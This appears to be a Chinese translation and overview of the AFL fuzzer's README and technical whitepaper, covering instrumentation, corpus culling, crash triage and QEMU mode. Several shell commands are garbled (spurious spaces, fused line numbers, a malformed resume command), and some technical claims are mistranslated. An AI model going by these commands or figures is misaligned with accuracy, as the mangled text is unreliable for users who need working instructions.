还有一个密切启发的进程模糊器，它在LLVM中运行，并且是一个在Windows上运行的分支。 最后，AFL是OSS-Fuzz背后的模糊引擎之一。 哦 - 如果你安装了gnuplot，你可以使用afl-plot来获得漂亮的进度图。 0x03 AFL特点 非常复杂。它是一种插桩器（instrumentation）引导的遗传模糊器，能够在各种非平凡的目标中合成复杂的文件语义，减少了对专用的语法识别工具的需求。它还带有一个独特的崩溃浏览器，一个测试用例最小化器，一个故障触发分配器和一个语法分析器 - 使评估崩溃错误的影响变得简单。 智能。它围绕一系列经过精心研究，高增益的测试用例预处理和模糊测试策略而构建，在其他模糊测试框架中很少采用与之相当的严格性。结果，它发现了真正的漏洞。 它很快。由于其低级编译时间或仅二进制检测和其他优化，该工具提供了针对常见现实世界目标的近原生或优于原生的模糊测试速度。新增的持久模式允许在最少的代码修改的帮助下，对许多程序进行异常快速的模糊测试。 可以链接到其他工具。模糊器可以生成优质，紧凑的测试语料库，可以作为更专业，更慢或劳动密集型流程和测试框架的种子。它还能够与任何其他软件进行即时语料库同步。 0x04 AFL README Written and maintained by Michal Zalewski &#x6c;&#99;&#x61;&#109;&#116;&#x75;&#x66;&#64;&#x67;&#x6f;&#x6f;&#x67;&#108;&#101;&#46;&#x63;&#111;&#109; Copyright 2013, 2014, 2015, 2016 Google Inc. All rights reserved. Released under terms and conditions of Apache License, Version 2.0. For new versions and additional information, check out: http://lcamtuf.coredump.cx/afl/ To compare notes with other users or get notified about major new features, send a mail to &#x61;&#102;&#x6c;&#x2d;&#x75;&#x73;&#x65;&#x72;&#x73;&#43;&#x73;&#x75;&#x62;&#115;&#x63;&#x72;&#105;&#98;&#x65;&#x40;&#103;&#111;&#111;&#103;&#108;&#101;&#103;&#114;&#111;&#x75;&#112;&#x73;&#x2e;&#x63;&#x6f;&#x6d;. See QuickStartGuide.txt if you don’t have time to read this file. 1）具有导向性的模糊测试的挑战Fuzzing是用于识别真实软件中的安全问题的最强大且经过验证的策略之一;它负责安全关键软件中迄今为止发现的绝大多数远程代码执行和权限提升漏洞。不幸的是，模糊测试也不够有力。盲目的、随机的变异使得它不太可能在测试代码中达到某些代码路径，从而使一些漏洞超出了这种技术的范围。已经有许多尝试来解决这个问题。早期方法之一 - 由Tavis Ormandy开创 - 是一种 语义库蒸馏（corpus distillation） 。网上找到的一些大型语料库中往往包含大量的文件，这时就需要对其精简，该方法依赖于覆盖信号从大量高质量的候选文件语料库中选择有趣种子的子集，然后通过传统方式对其进行模糊处理。该方法非常有效，但需要这样的语料库随时可用。正因为如此，代码覆盖率 也只是衡量程序执行状态的一个简单化的度量，这种方式并不适合后续引导fuzzing测试的。其他更复杂的研究集中在诸如 程序流分析（“concoic execution”），符号执行或静态分析 等技术上。所有这些方法在实验环境中都非常有前景，但在实际应用中往往会遇到可靠性和性能问题 - 部分高价值的程序都有非常复杂的内部状态和执行路径，在这一方面符号执行和concolic技术往往会显得不够健壮（如路径爆炸问题），所以仍然稍逊于传统的fuzzing技术。 2）afl-fuzz方法American Fuzzy Lop是一种暴力模糊测试，配有极其简单但坚如磐石的 引导遗传算法 。它使用修改后的边覆盖率，轻松地获取程序控制流程的细微局部变化。简化一下，整体算法可以概括为： 1）将用户提供的初始测试用例加载到队列中， 2）从队列中获取下一个输入文件， 3）尝试将测试用例修剪到不会改变程序测量行为的最小尺寸， 4）使用平衡且经过充分研究的各种传统模糊测试策略反复改变文件， 5）如果任何生成的编译导致由instrumentation记录的新状态转换，则将变异输出添加为队列中的新条目。 6）转到2。 发现的测试用例也会定期被淘汰，以消除那些被更新，更高覆盖率的发现所淘汰的测试用例。并经历其他几个插桩驱动（instrumentation-driven）的努力最小化步骤。作为模糊测试过程的一个副作用，该工具创建了一个小型，独立的有趣测试用例集。这些对于播种其他劳动力或资源密集型测试方案非常有用 - 例如，用于压力测试浏览器，办公应用程序，图形套件或闭源工具。该模糊器经过全面测试，可提供远远优于盲目模糊或仅覆盖工具的开箱即用性能。 3）用于AFL的插桩（instrumentation）程序当源代码可用时，可以通过配套工具 注入instrumentation ，该工具可作为第三方代码的任何标准构建过程中gcc或clang的替代品。instrumentation具有相当适度的性能影响;与afl-fuzz实现的其他优化相结合，大多数程序可以像传统工具一样快速或甚至更快地进行模糊测试。 重新编译目标程序 的正确方法可能会有所不同，具体取决于构建过程的具体情况，但几乎通用的方法是：123$ CC = /path/to/afl/afl-gcc ./configure$ make clean all对于C ++程序，您还需要将CXX = / path /设置为/ afl / afl g ++。 clang组件（afl-clang和afl-clang ++）可以以相同的方式使用; clang用户也可以选择利用更高性能的检测模式，如llvm_mode / README.llvm中所述。 在测试库时，您需要查找或编写一个简单的程序，该程序从stdin或文件中读取数据并将其传递给测试的库。在这种情况下，必须 将此可执行文件与已检测库的静态版本相链接 ，或者确保在运行时加载正确的.so文件（通常通过设置LD_LIBRARY_PATH）。最简单的选项是 静态构建 ，通常可以通过以下方式实现：1$ CC = /path/to/afl/afl-gcc ./configure --disable-shared 调用make时设置AFL_HARDEN = 1将导致CC组件自动启用代码强化选项，以便更容易检测到简单的内存错误。 Libdislocator，AFL附带的帮助程序库（请参阅libdislocator / README.dislocator）也可以帮助发现堆损坏问题。PS。建议ASAN用户查看notes_for_asan.txt文件以获取重要警告。 4）检测仅二进制应用程序当源代码为不可得时，afl为黑盒二进制文件的快速、即时检测提供实验支持。 这是通过在较不为人知的“用户空间仿真”模式下运行的QEMU版本来实现的。QEMU是一个独立于AFL的项目，但您可以通过以下方式方便地构建该功能：12$ cd qemu_mode$ ./build_qemu_support.sh 有关其他说明和注意事项，请参阅qemu_mode / README.qemu。该模式比编译时插桩（instrumentation）慢约2-5倍，对并行化的兼容较差，并且可能有一些其他的不同。 5）选择初始测试用例为了正确操作，模糊器需要一个或多个起始文件，其中包含目标应用程序通常所需的输入数据的良好示例。 有两个基本规则： 测试用例足够小。 1 kB以下是理想的，尽管不是绝对必要的。 有关大小重要性的讨论，请参阅perf_tips.txt。 只有在功能上彼此不同时才使用多个测试用例。 使用五十张不同的度假照片来模糊图像库是没有意义的。您可以在此工具附带的testcases/子目录中找到许多启动文件的好例子。PS。 如果有大量数据可用于筛选，您可能希望使用afl-cmin实用程序来识别在目标二进制文件中使用不同代码路径的功能不同的文件的子集。 6）模糊测试二进制文件测试过程本身由afl-fuzz实用程序执行。该程序需要一个带有初始测试用例的只读目录，一个存储其输出结果的独立位置，以及要测试的二进制文件的路径。对于直接从 stdin 接受输入的目标二进制文件，通常的语法是：1$ ./afl-fuzz -i testcase_dir -o findings_dir /path/to/program [... params ...] 对于从 文件 中获取输入的程序，使用“@@”标记目标命令行中应放置输入文件名的位置。模糊器将替换为您：1$ ./afl-fuzz -i testcase_dir -o findings_dir /path/to/program @@ 您还可以使用-f选项将变异数据写入特定文件。如果程序需要特定的文件扩展名，那么这很有用。非插桩二进制文件可以在QEMU模式下（在命令行中添加-Q）或在传统的盲目模糊模式（指定-n）中进行模糊测试。您可以使用-t和-m覆盖已执行进程的默认超时和内存限制;perf_tips.txt中讨论了优化模糊测试性能的技巧。 请注意，afl-fuzz首先执行一系列确定性模糊测试步骤，这可能需要几天时间，但往往会产生整齐的测试用例。如果你想要快速结果 - 类似于zzuf和其他传统的模糊器 - 在命令行中添加-d选项。 7）解释输出有关如何解释显示的统计信息以及监视进程运行状况的信息，请参阅status_screen.txt文件。请务必查阅此文件，尤其是如果任何UI元素以红色突出显示。模糊过程将持续到按Ctrl-C为止。至少，您希望允许模糊器完成一个队列周期，这可能需要几个小时到一周左右的时间。在输出目录中创建了三个子目录并实时更新： 队列queue/ - 测试每个独特执行路径的案例，以及用户提供的所有起始文件。这是第2节中提到的合成语料库。在将此语料库用于任何其他目的之前，您可以使用afl-cmin工具将其缩小到较小的大小。该工具将找到一个较小的文件子集，提供相同的边缘覆盖。 崩溃crash/ - 导致被测程序接收致命信号的独特测试用例（例如，SIGSEGV，SIGILL，SIGABRT）。条目按接收信号分组。 挂起hang/ - 导致测试程序超时的独特测试用例。将某些内容归类为挂起之前的默认时间限制是1秒内的较大值和-t参数的值。可以通过设置AFL_HANG_TMOUT来微调该值，但这很少是必需的。崩溃和挂起被视为“唯一” “如果相关的执行路径涉及在先前记录的故障中未见的任何状态转换。如果可以通过多种方式达到单个错误，那么在此过程中会有一些计数通货膨胀，但这应该会迅速逐渐减少。 崩溃和挂起的文件名与父、非错误的队列条目相关联。这应该有助于调试。如果无法重现 afl-fuzz 发现的崩溃，最可能的原因是您没有设置与工具使用的内存限制相同的内存限制。尝试：12$ LIMIT_MB = 50$（ulimit -Sv $ [LIMIT_MB &lt;&lt; 10]; /path/to/tested_binary ...） 更改LIMIT_MB以匹配传递给afl-fuzz的-m参数。在OpenBSD上，也将-Sv更改为-Sd。任何现有的输出目录也可用于恢复中止的作业;尝试：$ ./afl-fuzz -i-o_ existing_output_dir [...etc...]如果安装了gnuplot，您还可以使用afl-plot为任何活动的模糊测试任务生成一些漂亮的图形。有关如何显示的示例，请参阅 http://lcamt​​uf.coredump.cx/afl/plot/ 。 8）并行模糊测试每个afl-fuzz的实例大约占用一个核。 这意味着在多核系统上，并行化是充分利用硬件所必需的。有关如何在多个核心或多个联网计算机上模糊常见目标的提示，请参阅parallel_fuzzing.txt。并行模糊测试模式 还提供了一种简单的方法，用于将AFL连接到其他模糊器，动态符号执行（concrete and symbolic， concolic execution）引擎等等; 再次，请参阅 parallel_fuzzing.txt的最后一节以获取提示。 9）Fuzzer词典默认情况下，afl-fuzz变异引擎针对紧凑数据格式进行了优化 - 例如，图像，多媒体，压缩数据，正则表达式语法或shell脚本。它有点不太适合具有特别冗长和冗余的语言的语言 - 特别是包括HTML，SQL或JavaScript。为了避免构建语法感知工具的麻烦，afl-fuzz提供了一种方法，使用与目标数据类型相关联的其他特殊标记的语言关键字，魔术头或可选字典为模糊测试过程设定种子，并使用它来重建底层随时随地的语法：http://lcamt​​uf.blogspot.com/2015/01/afl-fuzz-making-up-grammar-with.html要使用此功能，首先需要使用dictionaries/README.dictionaries中讨论的两种格式之一创建字典;然后通过命令行中的-x选项将模糊器指向它。（该子目录中也已提供了几个常用字典。）没有办法提供基础语法的更多结构化描述，但模糊器可能会根据instrumentation反馈单独找出一些。这实际上在实践中有效，比如说：http://lcamt​​uf.blogspot.com/2015/04/finding-bugs-in-sqlite-easy-way.htmlPS。即使没有给出明确的字典，afl-fuzz也会尝试通过在确定性字节翻转期间非常接近地观察instrumentation来提取输入语料库中的现有语法标记。这适用于某些类型的解析器和语法，但不如-x模式好。如果字典真的很难找到，另一个选择是让AFL运行一段时间，然后使用作为AFL伴随实用程序的令牌捕获库。为此，请参阅libtokencap/README.tokencap。 10）崩溃分类基于coverage的崩溃分组通常会生成一个小型数据集，可以手动或使用非常简单的GDB或Valgrind脚本快速进行分类。每次崩溃都可以追溯到队列中的父级非崩溃测试用例，从而更容易诊断故障。话虽如此，重要的是要承认，如果没有大量的调试和代码分析工作，一些模糊的崩溃很难快速评估可利用性。为了帮助完成这项任务，afl-fuzz支持使用-C标志启用的非常独特的“崩溃探索”模式。在此模式下，模糊器将一个或多个崩溃测试用例作为输入，并使用其反馈驱动的模糊测试策略，非常快速地枚举程序中可以达到的所有代码路径，同时使其保持在崩溃状态。不会导致崩溃的变异会被拒绝;任何不影响执行路径的更改也是如此。输出是一个小文件集，可以非常快速地检查以查看攻击者对错误地址的控制程度，或者是否有可能超过初始越界读取，并查看下面的内容。 哦，还有一件事：对于测试用例最小化，请尝试afl-tmin。该工具可以以非常简单的方式操作：$ ./afl-tmin -i test_case -o minimize_result - /path/to/program [...] 该工具适用于崩溃和非崩溃的测试用例。在崩溃模式下，它将很乐意接受 instrumented 和 non-instrumented 的二进制文件。在非崩溃模式下，最小化器依赖于标准AFL检测来使文件更简单而不改变执行路径。minimizer与afl-fuzz兼容的方式接受-m，-t，-f和@@语法。如果指定了参数-x，即crash mode，会把导致程序非正常退出的文件直接剔除。 AFL的另一个新成员是afl-analyze工具。需要输入文件，尝试按顺序翻转字节，并观察测试程序的行为。然后根据哪些部分看起来是关键的，哪些部分不是关键的，对输入进行颜色编码;虽然不是万能，但它通常可以提供对复杂文件格式的快速见解。有关其操作的更多信息可以在technical_details.txt的末尾找到。 11）超越崩溃模糊测试是一种很好的，未充分利用的技术，用于发现非崩溃的设计和实现错误。通过修改目标程序调用abort()时发现了一些有趣的错误，比如： 当给出相同的模糊输入时，两个bignum库产生不同的输出， 当要求连续多次解码相同的输入图像时，图像库会产生不同的输出， 在对模糊提供的数据进行迭代序列化和反序列化时，序列化/反序列化库无法生成稳定的输出， 当要求压缩然后解压缩特定blob时，压缩库会生成与输入文件不一致的输出。实施这些或类似的健全性检查通常只需要很少的时间;如果你是特定包的维护者，你可以使用#ifdef FUZZING_BUILD_MODE_UNSAFE_FOR_PRODUCTION（一个也与libfuzzer共享的标志）或#ifdef __AFL_COMPILER（这个只适用于AFL）来使这个代码成为条件。 12）常识性风险请记住，与许多其他计算密集型任务类似，模糊测试可能会给您的硬件和操作系统带来压力。特别是： 你的CPU会很热，需要充分冷却。在大多数情况下，如果冷却不足或停止正常工作，CPU速度将自动受到限制。也就是说，尤其是在不太合适的硬件（笔记本电脑，智能手机等）上进行模糊测试时，某些事情并非完全不可能爆发。 有针对性的程序可能最终不正常地抓取千兆字节的内存或用垃圾文件填满磁盘空间。 AFL试图强制执行基本的内存限制，但不能阻止每一个可能的事故。最重要的是，您不应该对数据丢失前景不可接受的系统进行模糊测试。 模糊测试涉及数十亿次对文件系统的读写操作。在现代系统中，这通常会被高度缓存，导致相当适度的“物理”I/O - 但是有许多因素可能会改变这个等式。您有责任监控潜在的问题; I / O非常繁重，许多HDD和SSD的使用寿命可能会缩短。监视Linux上磁盘I/O的一种好方法是’iostat’命令：$ iostat -d 3 -x -k [...可选磁盘ID ...] 13）已知的限制和需要改进的领域以下是AFL的一些最重要的警告： AFL通过检查由于信号（SIGSEGV，SIGABRT等）而导致的第一个衍生过程死亡来检测故障。为这些信号安装自定义处理程序的程序可能需要注释掉相关代码。同样，由模糊目标产生的子处理中的故障可能会逃避检测，除非您手动添加一些代码来捕获它。 与任何其他强力工具一样，如果使用加密，校验和，加密签名或压缩来完全包装要测试的实际数据格式，则模糊器提供有限的覆盖范围。要解决这个问题，你可以注释掉相关的检查（参见experimental / libpng_no_checksum /获取灵感）;如果这是不可能的，你也可以编写一个后处理器，如experimental / post_library /中所述。 ASAN和64位二进制文​​件存在一些不幸的权衡。这不是因为任何特定的模糊错误;请参阅notes_for_asan.txt以获取提示。 没有直接支持模糊网络服务，后台守护程序或需要UI交互才能工作的交互式应用程序。您可能需要进行简单的代码更改，以使它们以更传统的方式运行。 Preeny也可以提供一个相对简单的选项 - 请参阅：https://github.com/zardus/preeny有关修改基于网络的服务的一些有用提示也可以在以下位置找到：https://www.fastly.com/blog/how-to-fuzz-server-american-fuzzy-lop AFL不输出人类可读的覆盖数据。如果你想监控覆盖，请使用Michael Rash的afl-cov：https：//github.com/mrash/afl-cov 偶尔，敏感的机器会对抗他们的创造者。如果您遇到这种情况，请访问http://lcamt​​uf.coredump.cx/prep/。除此之外，请参阅安装以获取特定于平台的提示。 0x05 afl-fuzz白皮书本文档提供了American Fuzzy Lop的简单的概述。想了解一般的使用说明，请参见 README 。想了解AFL背后的动机和设计目标，请参见 historical_notes.txt。 0）设计说明(Design statement)American Fuzzy Lop 不关注任何单一的操作规则(singular principle of operation)，也不是一个针对任何特定理论的概念验证(proof of concept)。这个工具可以被认为是一系列在实践中测试过的hacks行为，我们发现这个工具惊人的有效。我们用目前最simple且最robust的方法实现了这个工具。唯一的设计宗旨在于速度、可靠性和易用性。 1）覆盖率计算(Coverage measurements)在编译过的程序中插桩能够捕获分支（边缘）的覆盖率，并且还能检测到粗略的分支执行命中次数(branch-taken hit counts)。在分支点注入的代码大致如下： 123cur_location = &lt;COMPILE_TIME_RANDOM&gt;; //用一个随机数标记当前基本块shared_mem[cur_location ^ prev_location]++; //将当前块和前一块异或保存到shared_mem[]prev_location = cur_location &gt;&gt; 1; //cur_location右移1位区分从当前块到当前块的转跳 cur_location 的值是随机产生的，为的是简化连接复杂对象的过程和保持XOR输出分布是均匀的。shared_mem[] 数组是一个调用者 (caller) 传给被插桩的二进制程序的64kB的共享空间。其中的每一字节可以理解成对于插桩代码中特别的元组(branch_src, branch_dst)的一次命中（hit）。选择这个数组大小的原因是让冲突(collisions)尽可能减少。这样通常能处理2k到10k的分支点。同时，它的大小也足以使输出图能在接受端达到毫秒级的分析。 Branch cnt Colliding tuples Example targets 1,000 0.75% giflib, lzo 2,000 1.5% zlib, tar, xz 5,000 3.5% libpng, libwebp 10,000 7% libxml 20,000 14% sqlite 50,000 30% - 这种形式的覆盖率，相对于简单的基本块覆盖率来说，对程序运行路径提供了一个更好的描述(insight)。特别地，它能很好地区分以下两个执行路径： A -&gt; B -&gt; C -&gt; D -&gt; E (tuples: AB, BC, CD, DE) A -&gt; B -&gt; D -&gt; C -&gt; E (tuples: AB, BD, DC, CE) 这有助于发现底层代码的微小错误条件。因为 安全漏洞通常是一些非预期(或不正确)的语句转移(一个tuple就是一个语句转移) ，而不是没覆盖到某块代码。上边伪代码的最后一行移位操作是为了让tuple具有定向性(没有这一行的话，A^B和B^A就没区别了，同样，A^A和B^B也没区别了)。采用右移的原因跟Intel CPU的一些特性有关。 2）发现新路径(Detecting new behaviors)AFL的fuzzers使用一个全局Map来存储之前执行时看到的tuple。这些数据可以被用来对不同的trace进行快速对比，从而可以计算出是否新执行了一个dword指令/一个qword-wide指令/一个简单的循环。当一个变异的输入产生了一个包含新tuple的执行路径时，对应的输入文件就被保存，然后被发送到下一过程(见第3部分)。对于那些没有产生新路径的输入，就算他们的instrumentation输出模式是不同的，也会被抛弃掉。这种算法考虑了一个非常细粒度的、长期的对程序状态的探索，同时它还不必执行复杂的计算，不必对整个复杂的执行流进行对比，也避免了路径爆炸的影响。为了说明这个算法是怎么工作的，考虑下面的两个路径，第二个路径出现了新的tuples(CA, AE):12#1: A -&gt; B -&gt; C -&gt; D -&gt; E#2: A -&gt; B -&gt; C -&gt; A -&gt; E 因为#2的原因，以下的路径就不认为是不同的路径了，尽管看起来非常不同：#3: A -&gt; B -&gt; C -&gt; A -&gt; B -&gt; C -&gt; A -&gt; B -&gt; C -&gt; D -&gt; E 除了检测新的tuple之外，AFL的fuzzer也会粗略地记录tuple的命中数(hit counts)。这些被分割成几个buckets：1, 2, 3, 4-7, 8-15, 16-31, 32-127, 128+ 从某种意义来说，buckets里边的数目是有实际意义的：它是一个8-bit counter和一个8-position bitmap的映射。8-bit counter是由桩生成的，8-position bitmap则依赖于每个fuzzer记录的已执行的tuple的命中数。单个bucket的改变会被忽略掉: 在程序控制流中，bucket的转换会被标记成一个interesting change，传入evolutionary(见第三部分)进行处理。通过命中次数(hit count)，我们能够分辨控制流是否发生变化。例如一个代码块被执行了两次，但只命中了一次。并且这种方法对循环的次数不敏感(循环47次和48次没区别)。这种算法通过限制内存和运行时间来保证效率。 另外，算法通过设置执行超时，来避免效率过低的fuzz。从而进一步发现效率比较高的fuzz方式。 3）输入队列的进化(Evolving the input queue)经变异的测试用例，会使程序产生 新的状态转移 。这些测试用例稍后被添加到 input 队列中，用作下一个 fuzz 循环。它们补充但不替换现有的发现。这种算法允许工具可以持续探索不同的代码路径，即使底层的数据格式可能是完全不同的。如下图： 这里有一些这种算法在实际情况下例子： pulling-jpegs-out-of-thin-air afl-fuzz-nobody-expects-cdata-sections 这种过程下产生的语料库基本上是这些输入文件的集合：它们都能触发一些新的执行路径。产生的语料库，可以被用来作为其他测试的种子。使用这种方法，大多数目标程序的队列会增加到大概1k到10k个entry。大约有10-30%归功于对新tupe的发现，剩下的和hit counts改变有关。下表比较了不同 fuzzing 方法在发现文件句法(file syntax)和探索程序执行路径的能力。插桩的目标程序是 GNU patch 2.7.3 compiled with -O3 and seeded with a dummy text file: Fuzzer guidance strategy used Blocks reached Edges reached Edge hit cnt var Highest-coverage test case generated (Initial file) 156 163 1.00 (none) Blind fuzzing S 182 205 2.23 First 2 B of RCS diff Blind fuzzing L 228 265 2.23 First 4 B of -c mode diff Block coverage 855 1,130 1.57 Almost-valid RCS diff Edge coverage 1,452 2,070 2.18 One-chunk -c mode diff AFL model 1,765 2,597 4.99 Four-chunk -c mode diff 第一行的blind fuzzing (“S”)代表仅仅执行了一个回合的测试。第二行的Blind fuzzing L表示在一个循环中执行了几个回合的测试，但是没有进行改进。和插桩运行相比，需要更多时间全面处理增长队列。 在另一个独立的实验中也取得了大致相似的结果。在新实验中，fuzzer被修改成所有随机fuzzing 策略，只留下一系列基本、连续的操作，例如位反转(bit flips)。因为这种模式（mode）将不能改变输入文件的的大小，会话使用一个合法的合并格式（unified diff）作为种子。 Queue extension strategy used Blocks reached Edges reached Edge hit cnt var Number of unique crashes found (Initial file) 624 717 1.00 - Blind fuzzing 1,101 1,409 1.60 0 Block coverage 1,255 1,649 1.48 0 Edge coverage 1,259 1,734 1.72 0 AFL model 1,452 2,040 3.16 1 在之前提到的基于遗传算法的fuzzing，是通过一个test case的进化(这里指的是用遗传算法进行变异)来实现最大覆盖。在上述实验看来，这种“贪婪”的方法似乎没有为盲目的模糊策略带来实质性的好处。 4）语料筛选（Culling the corpus）上文提到的渐进式语句探索路径的方法意味着：假设A和B是测试用例(test cases)，且B是由A变异产生的。那么测试用例B达到的边缘覆盖率(edge coverage)是测试用例A达到的边缘覆盖率的严格超集(superset)。为了优化fuzzing，AFL会用一个快速算法周期性的重新评估(re-evaluates)队列，这种算法会选择队列的一个更小的子集，并且这个子集仍能覆盖所有的tuple。算法的这个特性对这个工具特别有利(favorable)。算法通过指定每一个队列入口(queue entry)，根据执行时延（execution latency）和文件大小分配一个分值比例（score proportional）。然后为每一个tuple选择最低分值的entry。这些tuples按下述流程进行处理： 12345671) Find next tuple not yet in the temporary working set,2) Locate the winning queue entry for this tuple,3) Register *all* tuples present in that entry&apos;s trace in the working set,4) Go to #1 if there are any missing tuples in the set. “favored” entries 产生的语料，会比初始的数据集小5到10倍。没有被选择的也没有被扔掉，而是在遇到下列对队列时，以一定概率略过：12345678- If there are new, yet-to-be-fuzzed favorites present in the queue, 99% of non-favored entries will be skipped to get to the favored ones.- If there are no new favorites:- If the current non-favored entry was fuzzed before, it will be skipped 95% of the time.- If it hasn&apos;t gone through any fuzzing rounds yet, the odds of skipping drop down to 75%. 基于以往的实验经验，这种方法能够在队列周期速度(queue cycling speed)和测试用例多样性(test case diversity)之间达到一个合理的平衡。使用afl-cmin工具能够对输入或输出的语料库进行稍微复杂但慢得多的的处理。这一工具将永久丢弃冗余entries，产生适用于afl-fuzz或者外部工具的更小的语料库。 5）输入文件修剪（Trimming input files）文件的大小对fuzzing的性能有着重大影响(dramatic impact)。因为大文件会让目标二进制文件运行变慢；大文件还会减少变异触及重要格式控制结构(format control structures)的可能性(我们希望的是变异要触及冗余代码块(redundant data blocks))。这个问题将在perf_tips.txt细说。用户可能提供低质量初始语料(starting corpus)，某些类型的变异会迭代地增加生成文件的大小。所以要抑制这种趋势(counter this trend)。幸运的是，插桩反馈(instrumentation feedback)提供了一种简单的方式自动削减（trim down）输入文件，并确保这些改变能使得文件对执行路径没有影响。afl-fuzz内置的修剪器(trimmer)使用变化的长度和步距(variable length and stepover)来连续地(sequentially)删除数据块；任何不影响trace map的校验和(checksum)的删除块将被提交到disk。这个修剪器的设计并不算特别地周密(thorough)，相反地，它试着在精确度(precision)和进程调用execve()的次数之间选取一个平衡，找到一个合适的block size和stepover。平均每个文件将增大约5-20%。独立的afl-tmin工具使用更完整(exhaustive)、迭代次数更多(iteractive)的算法，并尝试对被修剪的文件采用字母标准化的方式处理。 6) 模糊测试策略(Fuzzing strategies)插桩提供的反馈(feedback)使得我们更容易理解各种不同fuzzing策略的价值，从而优化(optimize)他们的参数。使得他们对不同的文件类型都能同等地进行工作。afl-fuzz用的策略通常是与格式无关（format-agnostic），详细说明在下边的连接中：binary-fuzzing-strategies-what-works值得注意的一点是，afl-fuzz大部分的(尤其是前期的)工作都是高度确定的(highly deterministic)，随机性修改和测试用例拼接(random stacked modifications和test case splicing)只在后期的部分进行。 确定性的策略 包括：12345- Sequential bit flips with varying lengths and stepovers,使用变化的长度和步距来连续进行位反转- Sequential addition and subtraction of small integers,对小的整型数来连续进行加法和减法- Sequential insertion of known interesting integers (0, 1, INT_MAX, etc),对已知的感兴趣的整型数连续地插入 使用这些确定步骤的目的在于，生成紧凑的(compact)测试用例，以及在产生non-crashing的输入和产生crashing的输入之间，有很小的差异(small diffs)。非确定性(non-deterministic)策略 的步骤包括：stacked bit flips、插入(insertions)、删除(deletions)、算数(arithmetics)和不同测试用例之间的拼接(splicing)。 由于在historical_notes.txt 中提到的原因(性能、简易性、可靠性)，AFL通常不试图去推断某个特定的变异(specific mutations)和程序状态(program states)的关系。 fuzzing的步骤名义上来说是盲目的(nominally blind)，只被输入队列的进化方式的设计所影响(见第三部分)。 这意味着，这条规则有一个例外：当一个新的队列条目，经过初始的确定性fuzzing步骤集合时，并且文件的部分区域被观测到对执行路径的校验和没有影响，这些队列条目在接下来的确定性fuzzing阶段可能会被排除。尤其是对那些冗长的数据格式，这可以在保持覆盖率不变的情况下，减少10-40%的执行次数。在一些极端情况下，比如一些block-aligned的tar文件，这个数字可以达到90%。 7) 字典(Dictionaries)插桩提供的反馈能够让它自动地识别出一些输入文件中的语法(syntax)符号(tokens)，并且能够为测试器(tested parser)检测到一些组合，这些组合是由预定义(predefined)的或自动检测到的(auto-detected)字典项(dictionary terms)构成的合法语法(valid grammar)。关于这些特点在afl-fuzz是如何实现的，可以看一下这个链接：afl-fuzz-making-up-grammar-with大体上，当基本的(basic, typically easily-obtained)句法(syntax)符号(tokens)以纯粹随机的方式组合在一起时，插桩和队列进化这两种方法共同提供了一种反馈机制，这种反馈机制能够区分无意义的变异和在插桩代码中触发新行为的变异。这样能增量地构建更复杂的句法(syntax)。这样构建的字典能够让fuzzer快速地重构非常详细(highly verbose)且复杂的(complex)语法，比如JavaScript, SQL,XML。一些生成SQL语句的例子已经在之前提到的博客中给出了。有趣的是，AFL的插桩也允许fuzzer自动地隔离(isolate)已经在输入文件中出现过的句法(syntax)符号(tokens)。 8) 崩溃去重（De-duping crashes）崩溃去重是fuzzing工具里很重要的问题之一。很多naive的解决方式都会有这样的问题：如果这个错误发生在一个普通的库函数中(如say, strcmp, strcpy)，只关注出错地址(faulting address)的话，那么可能导致一些完全不相关的问题被分在一类(clustered together)。如果错误发生在一些不同的、可能递归的代码路径中，那么校验和(checksumming)调用栈回溯(call stack backtraces)时可能导致crash count inflation(通胀)。 afl-fuzz的解决方案认为满足一下两个条件，那么这个crash就是唯一的(unique)：12- The crash trace includes a tuple not seen in any of the previous crashes,这个crash的路径包括一个之前crash从未见到过的tuple。- The crash trace is missing a tuple that was always present in earlier faults.这个crash的路径不包含一个总在之前crash中出现的tuple。 这种方式一开始容易受到count inflation的影响，但实验表明其有很强的自我限制效果。和执行路径分析一样，这种 崩溃去重 的方式是afl-fuzz的基石(cornerstone)。 9) 崩溃调查(Investigating crashes)不同的crash的可用性(exploitability)是不同的。afl-fuzz提供一个crash的探索模式(exploration mode)来解决这个问题。对一个已知的出错测试用例，它被fuzz的方式和正常fuzz的操作没什么不同，但是有一个限制能让任何non-crashing 的变异(mutations)会被丢弃(thrown away)。这种方法的意义在以下链接中会进一步讨论：afl-fuzz-crash-exploration-mode这种方法利用instrumentation的反馈，探索crash程序的状态，从而进一步通过歧义性的失败条件，找到了最新发现的input。对于crashes来说，值得注意的是和正常的队列条目对比，导致crash的input没有被去掉，为了和它们的父条目（队列中没有导致crash的条目）对比，它们被保存下来，这就是说afl-tmin可以被用来随意缩减它们。 10) The fork server为了提升性能，afl-fuzz使用了一个”fork server”，fuzz的进程只进行一次execve(), 连接(linking), 库初始化(libc initialization)。fuzz进程通过copy-on-write(写时拷贝技术)从已停止的fuzz进程中clone下来。实现细节在以下链接中：fuzzing-binaries-without-execvefork server被集成在了instrumentation的程序下，在第一个instrument函数执行时，fork server就停止并等待afl-fuzz的命令。对于需要快速发包的测试，fork server可以提升1.5到2倍的性能。 11) 并行机制实现并行的机制是，定期检查不同cpu core或不同机器产生的队列，然后有选择性的把队列中的条目放到test cases中。详见： parallel_fuzzing.txt. 12）二进制instrumentationAFL-Fuzz对二进制黑盒目标程序的instrumentation是通过QEMU的“user emulation”模式实现的。这样我们就可以允许跨架构的运行，比如ARM binaries运行在X86的架构上。QEMU使用basic blocks作为翻译单元，利用QEMU做instrumentation，再使用一个和编译期instrumentation类似的guided fuzz的模型。1234567if (block_address &gt; elf_text_start &amp;&amp; block_address &lt; elf_text_end) &#123; cur_location = (block_address &gt;&gt; 4) ^ (block_address &lt;&lt; 8); shared_mem[cur_location ^ prev_location]++; prev_location = cur_location &gt;&gt; 1;&#125; 像QEMU, DynamoRIO, and PIN这样的二进制翻译器，启动是很慢的。QEMU mode同样使用了一个fork server，和编译期一样，通过把一个已经初始化好的进程镜像，直接拷贝到新的进程中。当然第一次翻译一个新的basic block还是有必要的延迟，为了解决这个问题AFL fork server在emulator和父进程之间提供了一个频道。这个频道用来通知父进程新添加的blocks的地址，之后吧这些blocks放到一个缓存中，以便直接复制到将来的子进程中。这样优化之后，QEMU模式对目标程序造成2-5倍的减速，相比之下，PIN造成100倍以上的减速。 13）afl-analyze工具文件格式分析器是最小化算法的简单扩展前面讨论过; 该工具执行一系列步行字节翻转，然后在输入文件中注释字节运行，而不是尝试删除无操作块。]]></content>
